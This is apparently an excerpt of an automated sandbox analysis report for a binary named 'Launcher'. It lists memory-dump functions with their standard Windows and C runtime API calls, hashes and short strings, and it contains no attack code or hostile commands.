Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 750d46d208c488927feed25b99d22d654afb573b01144273f5180a6ff699df46
Instruction ID: 6ac655ebf42a95564a74a31e614aa41ea3b1e073d78e2650f39b6abf42ebcb95
Opcode Fuzzy Hash: 750d46d208c488927feed25b99d22d654afb573b01144273f5180a6ff699df46
Instruction Fuzzy Hash: 5F51D176A84206BFDB288F14D872B7AB3A8EF94314F14853BE80797791D731AD80D791

Function 009E6192 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 009E05D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,009E1D78,?,00000000,-00000008), ref: 009E0632

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 009E61F6
__dosmaperr.LIBCMT ref: 009E61FD
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 009E6237
__dosmaperr.LIBCMT ref: 009E623E

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 168a930e34073cbc8533617823debc202e73c12cbbc23653c1058ffd30a07c74
Instruction ID: d40d8ba1b75cd36b6e374308499130af18fdb457feb58e2d3224e23947dcff56
Opcode Fuzzy Hash: 168a930e34073cbc8533617823debc202e73c12cbbc23653c1058ffd30a07c74
Instruction Fuzzy Hash: FA219871604246AFDB22AFA38881A2AB7ADFFA43A4710C519F929D7351D734EC40CB51

Function 009D72A2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a5e2893aa68d2bae92aaf3c12065db3179dedb83fb3ca92def48a20fbbe674d
Instruction ID: a44e552668b442091b7d620eb4f0bdd50ed87bf8a81e8e881417d107356c3c36
Opcode Fuzzy Hash: 2a5e2893aa68d2bae92aaf3c12065db3179dedb83fb3ca92def48a20fbbe674d
Instruction Fuzzy Hash: 16218E71288206AF9B10AFE19881E6AF7ACEF90364750C61AFD2597351F730EC40E7A0

Function 009E7588 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 009E7590

Part of subcall function 009E05D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,009E1D78,?,00000000,-00000008), ref: 009E0632

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009E75C8
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009E75E8

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 9d32530afe9ed766aef9d66f11df0151302954d0569c9658b1ebe352468b7429
Instruction ID: 239675efb1b77a9e0855da071b82b60724ff99229548b27b622733fbd284943a
Opcode Fuzzy Hash: 9d32530afe9ed766aef9d66f11df0151302954d0569c9658b1ebe352468b7429
Instruction Fuzzy Hash: 6C1140E2509AD5BEA61323F75D8AE7FA9ACCEC939C7100824F905D1101FEA8CE0181B7

Function 009D328F Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 009D3296
std::_Lockit::_Lockit.LIBCPMT ref: 009D32A0

Part of subcall function 009C4360: std::_Lockit::_Lockit.LIBCPMT ref: 009C438E
Part of subcall function 009C4360: std::_Lockit::~_Lockit.LIBCPMT ref: 009C43B9

codecvt.LIBCPMT ref: 009D32DA
std::_Lockit::~_Lockit.LIBCPMT ref: 009D3311

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 9a25a3556e290432344becc6e7c1c9171b3f48f3a1c105fd660668da78c2599a
Instruction ID: 9f8953b355a2b432b571a3e10a4fce9a172668cf75daed4a84d459d681882ca1
Opcode Fuzzy Hash: 9a25a3556e290432344becc6e7c1c9171b3f48f3a1c105fd660668da78c2599a
Instruction Fuzzy Hash: F101D636E502199BCB15EBA4EA05BBDB7B5AFC0711F54800AF511AB391CF349E00CB82

Function 009EF0B0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,009EE59F,00000000,00000001,?,?,?,009E8758,?,00000000,00000000), ref: 009EF0C7
GetLastError.KERNEL32(?,009EE59F,00000000,00000001,?,?,?,009E8758,?,00000000,00000000,?,?,?,009E809E,?), ref: 009EF0D3

Part of subcall function 009EF124: CloseHandle.KERNEL32(FFFFFFFE,009EF0E3,?,009EE59F,00000000,00000001,?,?,?,009E8758,?,00000000,00000000,?,?), ref: 009EF134

___initconout.LIBCMT ref: 009EF0E3

Part of subcall function 009EF105: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,009EF0A1,009EE58C,?,?,009E8758,?,00000000,00000000,?), ref: 009EF118

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,009EE59F,00000000,00000001,?,?,?,009E8758,?,00000000,00000000,?), ref: 009EF0F8

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 3a102fa1bbc8785d894cc1cd3d303d6d0f1e57517ee3173440fdfe91b63745cc
Instruction ID: 049b26bac393ab25d7f29704551f4326161ffffe92ef9fc030df86249a3916d0
Opcode Fuzzy Hash: 3a102fa1bbc8785d894cc1cd3d303d6d0f1e57517ee3173440fdfe91b63745cc
Instruction Fuzzy Hash: 1BF0AC3651C159FBCF225FD6DC18AA93F6AFF483A1B054425FA1895130D6328C20EB91

Function 009D4C10 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 009D4C22
GetCurrentThreadId.KERNEL32 ref: 009D4C31
GetCurrentProcessId.KERNEL32 ref: 009D4C3A
QueryPerformanceCounter.KERNEL32(?), ref: 009D4C47

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 2b95b3c9b31e19e0621f615348ce444f065d15a68c162134bce7c34190d8cf69
Instruction ID: 64c160d76dcd5aed05adf158ffb3f33e6ac5072a2e7a416f4d5472309dd45f95
Opcode Fuzzy Hash: 2b95b3c9b31e19e0621f615348ce444f065d15a68c162134bce7c34190d8cf69
Instruction Fuzzy Hash: 1AF0B2B0C2420CEBCB00DBB4C94999EBBF4FF1C200B914995A412E7110E730AB44EF51

Function 009E4D72 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009E0713: GetLastError.KERNEL32(00000000,?,009E2A49), ref: 009E0717
Part of subcall function 009E0713: SetLastError.KERNEL32(00000000,?,?,00000028,009DD2C9), ref: 009E07B9

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,009DAB4D,?,?,?,00000055,?,-00000050,?,?,?), ref: 009E4E31
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,009DAB4D,?,?,?,00000055,?,-00000050,?,?), ref: 009E4E68

Strings

utf8, xrefs: 009E4F3A

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: c4177ddf1078c79836d9f7ff28944c6f89d27bc12610086349cc09cdbc709185
Instruction ID: 72b71da9feeebd91119ec79ab51935d5076c8657aa70ea87999288d85b59c81c
Opcode Fuzzy Hash: c4177ddf1078c79836d9f7ff28944c6f89d27bc12610086349cc09cdbc709185
Instruction Fuzzy Hash: 1D51D671A04781AADB27AB37CC46BA673ACFF85B00F154869F545DB1C1FB70ED4086A1

Function 009E2024 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

Part of subcall function 009E2229: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 009E2254

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,009E2434,?,00000000,?,?,?), ref: 009E2085
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,009E2434,?,00000000,?,?,?), ref: 009E20C1

Strings

A2sx, xrefs: 009E202C

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: CodeInfoPageValid
String ID: A2sx
API String ID: 546120528-2144273025
Opcode ID: ee318487d315a4a9a1ba5237c7f67b8627b1844e42903dbdde2da686d43347ac
Instruction ID: 8f05aa70be1366a02d69718e95c0adfba39b2b099fd79584c6586232c8919486
Opcode Fuzzy Hash: ee318487d315a4a9a1ba5237c7f67b8627b1844e42903dbdde2da686d43347ac
Instruction Fuzzy Hash: 48512471A043859EDB26CF36C881ABABBFDFF85300F18446ED29687251E6749E46CB40

Function 009E6FE2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132fileCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009E7032
ReadFile.KERNEL32(?,?,00001000,?,00000000,009E7451,00000001,00000000,?,009DC905,?,?,?,?,?), ref: 009E70B8

Strings

A2sx, xrefs: 009E6FF1

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: FileReadUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: A2sx
API String ID: 1834446548-2144273025
Opcode ID: 20767bba07010f57156272b4d7668994a5f60cc7b683b473231c8c201c8527b1
Instruction ID: ad23a25bfb2e9b5551d04549c542f0e34390f781d05543c82a6449f71956a01a
Opcode Fuzzy Hash: 20767bba07010f57156272b4d7668994a5f60cc7b683b473231c8c201c8527b1
Instruction Fuzzy Hash: CF41F031A082D9ABCF26CFA6CC80BE9B3B9AB48304F1481A9E54997241D774DEC19F51

Function 009DFF48 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,009DFE49,?,?,00000000,00000000,00000000,?), ref: 009DFF6D

Strings

RCC, xrefs: 009DFF87
MOC, xrefs: 009DFF7F

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: a47db73c8a48a87a2f762be585b1442abc223715668b5784bcccb9f4ae0c418d
Instruction ID: 68c461e0e833d82ae68c7eb061ff714f03956826df848e223405de7d4d9c9456
Opcode Fuzzy Hash: a47db73c8a48a87a2f762be585b1442abc223715668b5784bcccb9f4ae0c418d
Instruction Fuzzy Hash: 4C418B32900149AFCF26DF98CC81AEEBBB9FF88301F188069FA1567225D3759D90DB50

Function 009E8959 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,00000000,?,00000000,009E8113,?,009D83F3,?,?,?,00000000,?,?,?,?), ref: 009E8A42
GetLastError.KERNEL32(009E8113,?,009D83F3,?,?,?,00000000,?,?,?,?,?,009D8191,?,009D83F3), ref: 009E8A72

Strings

A2sx, xrefs: 009E8968

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: A2sx
API String ID: 442123175-2144273025
Opcode ID: 51e8b56dc80c63e1267abde5c6a03f6bbdaf8d365ca591917a2f4c5ed81d2c2b
Instruction ID: 1f6d10f8902f81d22c7b4ef7123b3bf783c6ee75749baa44020cf2c03b8a0b84
Opcode Fuzzy Hash: 51e8b56dc80c63e1267abde5c6a03f6bbdaf8d365ca591917a2f4c5ed81d2c2b
Instruction Fuzzy Hash: 17315071B10259AFDB25CF99DC91BEA77A9AF48304F1440BAE509D7290DA70ED80CF61

Function 009DF7B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 009DFA2B

Strings

csm, xrefs: 009DFABE
csm, xrefs: 009DFA4D

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: d2932ded737fb47018123d2567679ec19fedd931e8d7e3a685f545aa22449c23
Instruction ID: 205c5ce6aaf1343401e1eeb4ce300759bab46d88d2697cf03c765c046a1fcee5
Opcode Fuzzy Hash: d2932ded737fb47018123d2567679ec19fedd931e8d7e3a685f545aa22449c23
Instruction Fuzzy Hash: 2D3106725802459BCF228F50D8629BA7B69FF09355B18C17BFC4E4A321D336CDA1DB91

Function 009E19A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 009E19F7
__freea.LIBCMT ref: 009E1A59

Strings

A2sx, xrefs: 009E19AC

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: __alloca_probe_16__freea
String ID: A2sx
API String ID: 1635606685-2144273025
Opcode ID: b5d6d249b9bcdabe6f019854c4fc2f77f1b4a39058bf8e683a7bbb1039e626a8
Instruction ID: b99c4ca2a05769ebeb51383a93c8862f406189ee753ee1ff0369d9e0bf1416af
Opcode Fuzzy Hash: b5d6d249b9bcdabe6f019854c4fc2f77f1b4a39058bf8e683a7bbb1039e626a8
Instruction Fuzzy Hash: 2E21D37290519AABDF229FA7DC45EAF7BA8EF81720F144129F918AB291D730CD40C790

Function 009E8870 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000000,00000000,?,?,009E80FC,?,009D83F3,?,?,?,00000000), ref: 009E891A
GetLastError.KERNEL32(?,009E80FC,?,009D83F3,?,?,?,00000000,?,?,?,?,?,009D8191,?,009D83F3), ref: 009E8940

Strings

A2sx, xrefs: 009E887F

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331867874.0000000000A04000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331908784.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Launcher.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: A2sx
API String ID: 442123175-2144273025
Opcode ID: ebfa44e1f88f24cb41ff33b9abe02af23eae4794b0052d47d5d695ec04e0c48e
Instruction ID: c82eb1e580bdbb85defdb4ce8955672cc63b98527b2d76f4b6dba393727919b8
Opcode Fuzzy Hash: ebfa44e1f88f24cb41ff33b9abe02af23eae4794b0052d47d5d695ec04e0c48e
Instruction Fuzzy Hash: 26218031A00259DFCF25CF59DC819AAB3F9FF48314B5444AAE90DE7251DB309D81CB51

Function 009C60C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 009C60DF

Part of subcall function 009C4360: std::_Lockit::_Lockit.LIBCPMT ref: 009C438E
Part of subcall function 009C4360: std::_Lockit::~_Lockit.LIBCPMT ref: 009C43B9

std::_Lockit::~_Lockit.LIBCPMT ref: 009C61AB

Strings

A2sx, xrefs: 009C60C9

Memory Dump Source

Source File: 00000000.00000002.2331747535.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.2331723550.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331782458.00000000009F1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331805084.00000000009FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331825928.00000000009FD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2331847242.0000000000A01000.00000002.00000001.01000000.00000003.sdmpDownload File
